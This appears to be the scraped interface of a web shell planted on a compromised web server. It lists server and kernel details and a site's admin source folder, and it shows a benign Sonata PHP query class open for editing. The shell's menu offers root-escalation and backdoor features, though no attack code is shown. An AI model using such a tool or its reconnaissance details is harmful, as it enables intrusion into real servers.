Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.79
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
src /
ContactBundle /
Admin /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
ArrayProxyQuery.php
2.37
KB
-rwxrwxr-x
2026-05-25 12:28
ContactMethodAdmin.php
1.39
KB
-rwxrwxr-x
2026-05-18 12:51
ContactReasonAdmin.php
1.39
KB
-rwxrwxr-x
2026-05-18 12:51
MailChimpBatchAdmin.php
4.31
KB
-rwxrwxr-x
2026-05-18 12:51
MessageAdmin.php
3.04
KB
-rwxrwxr-x
2026-05-18 12:51
MessageCreditAdmin.php
5.68
KB
-rwxrwxr-x
2026-05-18 12:51
MessageErrorAdmin.php
3.08
KB
-rw-r--r--
2026-06-24 12:09
MessageRecipientAdmin.php
3.06
KB
-rwxrwxr-x
2026-05-18 12:51
MessageTypeAdmin.php
1.37
KB
-rwxrwxr-x
2026-05-18 12:51
php_errors.log
1.9
KB
-rwxrwxr-x
2026-04-02 12:06
Save
Rename
<?php namespace App\ContactBundle\Admin; use Sonata\AdminBundle\Datagrid\ProxyQueryInterface; class ArrayProxyQuery implements ProxyQueryInterface { private $data; private $results; private $firstResult = 0; private $maxResults = null; private $sortBy = null; private $sortOrder = 'ASC'; public function __construct(array $data) { $this->data = $data; $this->results = $data; } public function execute(array $params = [], $hydrationMode = null) { return $this->getResults(); } public function setFirstResult(?int $firstResult): ProxyQueryInterface { $this->firstResult = $firstResult ?? 0; $this->updateResults(); return $this; } public function setMaxResults(?int $maxResults): ProxyQueryInterface { $this->maxResults = $maxResults; $this->updateResults(); return $this; } public function getFirstResult(): ?int { return $this->firstResult; } public function getMaxResults(): ?int { return $this->maxResults; } public function getResults() { return $this->results; } public function getSingleScalarResult() { return count($this->results); } public function getQuery() { return $this; } public function setSortBy($sortBy, $sortOrder = null): ProxyQueryInterface { $this->sortBy = $sortBy; if ($sortOrder) { $this->sortOrder = $sortOrder; } return $this; } public function getSortBy(): ?string { if (is_array($this->sortBy)) { return implode(',', $this->sortBy); } return $this->sortBy; } public function setSortOrder($sortOrder): ProxyQueryInterface { $this->sortOrder = $sortOrder; return $this; } public function getSortOrder(): ?string { return $this->sortOrder; } public function getUniqueParameterId() { return uniqid(); } public function entityJoin(array $associationMappings): ProxyQueryInterface { return $this; } public function __call($name, $arguments) { // Ignore unused methods return null; } private function updateResults() { $this->results = array_slice($this->data, $this->firstResult, $this->maxResults); } }